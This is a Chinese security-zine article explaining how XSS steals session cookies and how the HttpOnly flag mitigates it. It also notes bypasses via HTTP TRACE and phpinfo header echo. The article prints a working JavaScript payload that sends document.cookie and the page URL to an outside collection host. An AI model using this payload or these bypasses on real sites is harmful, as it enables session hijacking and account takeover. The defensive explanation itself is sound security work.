天天看點

利用httponly提升應用程式安全性

   ==Ph4nt0m Security Team==

                       Issue 0x01, Phile #0x06 of 0x06

|=---------------------------------------------------------------------------=|

|=-------------=[       利用httponly提升應用程式安全性       ]=--------------=|

|=--------------------=[            By 劍心            ]=--------------------=|

|=--------------------=[      <jnchaha_at_163.com>     ]=--------------------=|

    随着www服務的興起,越來越多的應用程式轉向了B/S結構,這樣隻需要一個浏覽器就可

以通路各種各樣的web服務,但是這樣也越來越導緻了越來越多的web安全問題。www服務依

賴于Http協定實作,Http是無狀态的協定,是以為了在各個會話之間傳遞資訊,就不可避免地

用到Cookie或者Session等技術來标記通路者的狀态,而無論是Cookie還是Session,一般都

是利用Cookie來實作的(Session其實是在浏覽器的Cookie裡帶了一個Token來标記,伺服器

取得了這個Token并且檢查合法性之後就把伺服器上存儲的對應的狀态和浏覽器綁定),這樣

就不可避免地安全聚焦到了Cookie上面,隻要獲得這個Cookie,就可以取得别人的身份,這對

于入侵者是一件很美妙的事情,特别當獲得的Cookie屬于管理者等高權限身份者時,危害就

更大了。在各種web安全問題裡,其中xss漏洞就是以顯得格外危險。

    對于應用程式來說,一旦存在了xss漏洞就意味着别人可以在你的浏覽器中執行任意的

js腳本,如果應用程式是開源的或者功能是公開的話,别人就可以利用ajax使用這些功能,但

是過程往往很煩瑣,特别是想直接獲得别人身份做随意浏覽的話困難就更大。而對于不開源

的應用程式,譬如某些大型站點的web背景(web2.0一個顯著的特征就是大量的互動,使用者往

往需要跟背景的管理者互動,譬如Bug彙報,或者資訊投遞等等),盡管因為互動的存在可能存

在跨站腳本漏洞,但是因為對背景的不了解,無法構造完美的ajax代碼來利用,即使可以用js

取得背景的代碼并回傳分析,但是過程同樣煩瑣而且不隐蔽。這個時候,利用xss漏洞獲得

Cookie或者Session劫持就很有效了,具體分析應用程式的認證,然後使用某些技巧,甚至可

以即使對方退出程式也一樣永久性獲得對方的身份。

    那麼如何獲得Cookie或者Session劫持呢?在浏覽器中的document對象中,就儲存了

Cookie的資訊,而利用js可以把這裡面的Cookie給取出來,隻要得到這個Cookie就可以擁有

别人的身份了。一個很典型的xss攻擊語句如下:

xss exp:

    url=document.top.location.href;

    cookie=document.cookie;

    c=new Image();

    c.src='http://www.loveshell.net/c.php?c='+cookie+'&u='+url;

    一些應用程式考慮到這個問題所在,是以可能會采取浏覽器綁定技術,譬如将Cookie和

浏覽器的User-agent綁定,一旦發現修改就認為Cookie失效。這種方法已經證明是無效的,

因為當入侵者偷得Cookie的同時他肯定已經同時獲得了User-agent。還有另外一種比較嚴

格的是将Cookie和Remote-addr相綁定(其實就是和IP綁定,但是一些程式取得IP的方法有問

題一樣導緻饒過),但是這樣就帶來很差的使用者體驗,更換Ip是經常的事,譬如上班與家裡就

是2個IP,是以這種方法往往也不給予采用。是以基于Cookie的攻擊方式現在就非常流行,在

一些web 2.0站點很容易就取到應用程式的管理者身份。

    如何保障我們的敏感Cookie安全呢?通過上面的分析,一般的Cookie都是從document對

象中獲得的,我們隻要讓敏感Cookie在浏覽器document中不可見就行了。很幸運,現在浏覽

器在設定Cookie的時候一般都接受一個叫做HttpOnly的參數,跟domain等其他參數一樣,一

旦這個HttpOnly被設定,你在浏覽器的document對象中就看不到Cookie了,而浏覽器在浏覽

的時候不受任何影響,因為Cookie會被放在浏覽器頭中發送出去(包括ajax的時候),應用程

序也一般不會在js裡操作這些敏感Cookie的,對于一些敏感的Cookie我們采用HttpOnly,對

于一些需要在應用程式中用js操作的cookie我們就不予設定,這樣就保障了Cookie資訊的安

全也保證了應用。關于HttpOnly說明可以參照

http://msdn2.microsoft.com/en-us/library/ms533046.aspx。

    給浏覽器設定Cookie的頭如下:

    Set-Cookie: <name>=<value>[; <name>=<value>]

    [; expires=<date>][; domain=<domain_name>]

    [; path=<some_path>][; secure][; HttpOnly]

    以php為例,在php 5.2版本時就已經在Setcookie函數加入了對HttpOnly的支援,譬如

    <?php

    setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);

    ?>

    就可以設定abc這個cookie,将其設定為HttpOnly,document将不可見這個Cookie。因為

setcookie函數本質就是個header,是以一樣可以使用header來設定HttpOnly。然後再使用

document.cookie就可以看到已經取不到這個Cookie了。我們用這種方法來保護利例如

Sessionid,如一些用于認證的auth-cookie,就不用擔心身份被人獲得了,這對于一些背景程

序和webmail提升安全性的意義是重大的。再次使用上面的攻擊手法時可以看到,已經不能

擷取被我們設定為HttpOnly的敏感Cookie了。

    但是,也可以看到HttpOnly并不是萬能的,首先它并不能解決xss的問題,仍然不能抵制

一些有耐心的黑客的攻擊,也不能防止入侵者做ajax送出,甚至一些基于xss的proxy也出現

了,但是已經可以提高攻擊的門檻了,起碼xss攻擊不是每個腳本小子都能完成的了,而且其

他的那些攻擊手法因為一些環境和技術的限制,并不像Cookie竊取這種手法一樣通用。

    HttpOnly也是可能利用一些漏洞或者配置Bypass的,關鍵問題是隻要能取到浏覽器發送

的Cookie頭就可以了。譬如以前出現的Http Trace攻擊就可以将你的Header裡的Cookie回

顯出來,利用ajax或者flash就可以完成這種攻擊,這種手法也已經在ajax和flash中獲得修

補。另外一個關于配置或者應用程式上可能Bypass的顯著例子就是phpinfo,大家知道

phpinfo會将浏覽器發送的http頭回顯出來,其中就包括我們保護的auth資訊,而這個頁面經

常存在在各種站點上,隻要用ajax取phpinfo頁面,取出header頭對應的部分就可以獲得

Cookie了。一些應用程式的不完善也可能導緻header頭的洩露,這種攻擊方式對于basic驗

證保護的頁面一樣可以攻擊。

    HttpOnly在IE 6以上,Firefox較新版本都得到了比較好的支援,并且在如Hotmail等應

用程式裡都有廣泛的使用,并且已經是取得了比較好的安全效果。

-EOF-